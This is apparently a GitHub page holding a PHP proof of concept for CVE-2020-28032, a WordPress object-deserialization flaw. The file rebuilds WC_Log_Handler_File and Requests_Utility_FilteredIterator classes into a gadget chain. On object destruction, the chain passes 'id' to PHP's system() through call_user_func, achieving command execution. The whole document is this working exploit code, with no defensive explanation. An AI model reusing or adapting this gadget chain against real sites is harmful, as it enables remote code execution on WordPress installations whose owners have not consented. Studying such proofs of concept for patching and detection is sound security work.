-
Notifications
You must be signed in to change notification settings - Fork 2
/
CVE-2020-28032_PoC.php
52 lines (37 loc) · 1.1 KB
/
CVE-2020-28032_PoC.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
interface WC_Log_Handler_Interface {
public function handle( $timestamp, $level, $message, $context );
}
abstract class WC_Log_Handler implements WC_Log_Handler_Interface {
}
class WC_Log_Handler_File extends WC_Log_Handler {
protected $handles = array();
/* Edited version of __construct() */
public function __construct( $handles = array() ) {
$this->handles = $handles;
}
public function __destruct() {
foreach ( $this->handles as $handle ) {
if ( is_resource( $handle ) ) {
fclose( $handle ); // @codingStandardsIgnoreLine.
}
}
}
public function handle( $timestamp, $level, $message, $context ) {
}
}
class Requests_Utility_FilteredIterator extends ArrayIterator {
protected $callback;
public function __construct($data, $callback) {
parent::__construct($data);
$this->callback = $callback;
}
public function current() {
$value = parent::current();
$value = call_user_func($this->callback, $value);
return $value;
}
}
$object_1 = new Requests_Utility_FilteredIterator(array('id'), 'system');
$object_2 = new WC_Log_Handler_File($object_1);
print_r($object_2);